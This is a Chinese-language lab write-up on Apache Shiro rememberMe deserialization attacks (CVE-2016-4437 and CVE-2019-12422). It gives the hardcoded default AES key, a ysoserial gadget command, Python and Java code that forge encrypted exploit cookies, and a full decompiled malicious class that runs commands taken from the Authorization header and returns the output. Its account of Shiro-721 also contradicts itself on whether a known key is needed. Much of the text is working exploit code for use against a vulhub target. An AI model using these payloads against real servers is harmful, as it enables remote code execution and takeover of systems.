shiro 反序列化攻防
概述
Apache Shiro 是一个强大且灵活的 Java 安全框架,广泛用于认证、授权、加密和会话管理。其中 rememberMe
功能在实际部署中被广泛启用,但由于对用户信息的序列化与加密处理存在安全设计缺陷,导致攻击者可以通过构造恶意的序列化数据,实现远程代码执行(RCE)等高危攻击。
Shiro 反序列化漏洞主要包括两个知名漏洞:
- Shiro-550(CVE-2016-4437):由于使用了硬编码的 AES 加密密钥,攻击者可直接构造合法的加密负载并通过
rememberMe
Cookie 注入执行反序列化链。 - Shiro-721(CVE-2019-12422):即使开发者更换了密钥,Shiro 在反序列化过程中缺乏类型限制和白名单校验,依然可能触发任意类加载与反序列化漏洞。
Shiro-550反序列化
概述
漏洞原理
Apache Shiro 的 RememberMe 功能会将用户信息序列化后,使用 AES 加密并进行 Base64 编码,存储在 rememberMe
Cookie 中。服务器接收到该 Cookie 后,会进行解码、解密并反序列化。
由于反序列化过程未做安全校验,攻击者可构造恶意序列化数据并用已知密钥加密,伪造合法的 Cookie,从而实现远程代码执行(RCE)。
影响版本
Apache Shiro < 1.2.4
特征判断
服务端响应中出现 rememberMe=deleteMe
字段
漏洞编号
CVE-2016-4437
靶场
https://github.com/vulhub/vulhub/blob/master/shiro/CVE-2016-4437/README.zh-cn.md
漏洞分析
Set-Cookie字段解密
由于当前版本仍使用默认的 AES 加密密钥,攻击者可对 rememberMe
Cookie 进行解密与反序列化,进而获取其中的 Java 对象内容。
ysoserial
项目地址
https://github.com/frohoff/ysoserial
使用 ysoserial
利用 Java 反序列化生成 CommonsBeanutils1 的 Gadget
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
生成paylaod
python脚本
可使用以下项目中的脚本生成 payload:
https://github.com/M-Kings/WEB-shiro_rememberMe_encode_decode
调用其中的 encode_data
函数即可生成符合要求的 rememberMe
Cookie 值:
print(encode_data("touch /tmp/success","kPH+bIxk5D2deZiIxcaaaA==","CommonsBeanutils1"))
java程序
使用 Java 程序同样可以生成 payload,但需确保项目中包含所需的依赖库。
package org.vulhub.shirodemo;import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;public class TestRemember {public static void main(String[] args) throws Exception {byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));AesCipherService aes = new AesCipherService();byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());}
}
bp发包测试
使用命令 docker-compose exec web bash
进入靶机容器,以验证攻击效果。
工具一把梭
项目地址
https://github.com/SummerSec/ShiroAttack2
网上有很多工具利用的,挨着点就行了。
流量分析
本次流量分析以前文提到的工具发起的攻击为样本进行说明。
爆破密钥
先通过设置请求头中的 Cookie 字段为 rememberMe=yes
,用于探测目标是否使用了 Shiro 框架。如下图所示,服务器返回 rememberMe=deleteMe
字样,说明存在 Shiro 并启用了 RememberMe 功能。
随后,使用工具内置的默认密钥对 payload 进行加密,并将其作为 rememberMe
的值发送至目标服务器,以测试是否存在反序列化漏洞。
检测当前利用链
如图所示,该请求包用于检测当前所使用的利用链是否有效。
解密并反序列化上述数据后,可以看到这是一个典型的 Java 反序列化利用结构。更详细的链条分析将在后续 Java 反序列化章节中展开说明。
命令执行
执行ls命令
具体的payload
把 rememberMe
的值解密并反序列化后,得到的恶意类在构造函数中会遍历当前线程对象,获取 HttpServletRequest
和 HttpServletResponse
,从请求头中提取命令并执行,最终将命令执行结果写入响应,实现远程命令执行(RCE)。
package com.summersec.x;import javax.servlet.ServletResponse;
import java.util.Scanner;
import org.apache.shiro.codec.Base64;
import java.lang.reflect.Field;
import java.lang.reflect.Array;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.util.HashSet;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;public class Test12573154460875 extends AbstractTranslet
{static HashSet h;static HttpServletRequest r;static HttpServletResponse p;private static boolean i(final Object o) {if (o == null || Test12573154460875.h.contains(o)) {return true;}Test12573154460875.h.add(o);return false;}private static void F(final Object o, final int n) {Class clazz = o.getClass();do {for (int length = clazz.getDeclaredFields().length, i = 0; i < length; ++i) {final Field field = clazz.getDeclaredFields()[i];field.setAccessible(true);try {final Object value = field.get(o);if (!((Object[])value).getClass().isArray()) {p(value, n);}else {final Object[] array = (Object[])value;for (int length2 = Array.getLength(value), j = 0; j < length2; ++j) {p(array[j], n);}}}catch (final Exception ex) {}}} while ((clazz = clazz.getSuperclass()) != null);}private static void p(final Object o, final int n) {if (n <= 52 && (Test12573154460875.r == null || Test12573154460875.p == null)) {if (!i(o)) {if (Test12573154460875.r == null && HttpServletRequest.class.isAssignableFrom(o.getClass())) {Test12573154460875.r = (HttpServletRequest)o;if (Test12573154460875.r.getHeader("Host") != null || Test12573154460875.r.getHeader("Authorization") != null) {try {Test12573154460875.p = (HttpServletResponse)Test12573154460875.r.getClass().getMethod("getResponse", (Class[])null).invoke(Test12573154460875.r, (Object[])null);}catch (final Exception ex) {Test12573154460875.r = null;}}else {Test12573154460875.r = null;}}if (Test12573154460875.r != null && Test12573154460875.p != null) {try {Test12573154460875.p.addHeader("Host", Test12573154460875.r.getHeader("Host"));try {((ServletResponse)Test12573154460875.p).getWriter().println(new StringBuffer().append("$$$").append(Base64.encodeToString(new Scanner(Runtime.getRuntime().exec(Base64.decodeToString(Test12573154460875.r.getHeader("Authorization").replaceAll("Basic ", ""))).getInputStream()).useDelimiter("\\A").next().getBytes())).append("$$$").toString());}catch (final Exception ex2) {}((ServletResponse)Test12573154460875.p).getWriter().flush();((ServletResponse)Test12573154460875.p).getWriter().close();}catch (final Exception ex3) {}return;}F(o, n + 1);}}}public Test12573154460875() {Test12573154460875.r = null;Test12573154460875.p = null;Test12573154460875.h = new HashSet();F(Thread.currentThread(), 0);}
}
Shiro-721反序列化
概述
漏洞原理
Shiro 在 1.2.4 之后虽然修复了默认密钥的问题,但在 rememberMe
反序列化过程中仍未对反序列化的类进行严格校验。当攻击者能够获取或猜测出 AES 密钥时,依然可以构造恶意 Gadget 链,通过 RememberMe Cookie 实现反序列化,从而触发远程代码执行(RCE)。
该漏洞本质上属于 Java 反序列化缺陷与 Shiro 框架不安全反序列化逻辑的叠加。
影响版本
Apache Shiro 1.2.4 ≤ 版本 < 1.4.2
特征判断
服务端响应中仍存在 rememberMe=deleteMe
字段
Shiro 使用已知 AES 加密算法且缺乏类白名单限制
漏洞编号
CVE-2019-12422
Shiro721 和 Shiro550 的差异
Shiro-721 和 Shiro-550 都是通过构造恶意的 rememberMe
Cookie 实现反序列化执行命令,但两者在 Payload 构造方式上存在区别:Shiro-550 需要攻击者已知 AES 加密密钥(如默认的 kPH+bIxk5D2deZiIxcaaaA==
),直接加密构造恶意序列化数据生成 Cookie;而 Shiro-721 不依赖已知密钥,而是通过分析服务器对不同填充数据的响应差异,推测合法加密值,借助已登录用户的合法 rememberMe
Cookie 构造利用,从而绕过 Shiro 在 1.2.4 后的加固措施,继续实现远程代码执行。
工具分析
由于 Shiro-721 与 Shiro-550 在漏洞利用方式上基本一致,因此本节不再重复漏洞原理,直接通过工具对其进行分析。
漏洞探测
同样是发送一个Cookie: rememberMe=yes
爆破密钥
这个版本的密钥应该是随机生成的,但是爆破出来的密钥和Shiro-550版本的密钥一样。
参考文章
- Java反序列化漏洞——Shiro721https://goodapple.top/archives/261
- Shiro rememberMe 在线解密https://potato.gold/navbar/tool/shiro/ShiroTool.html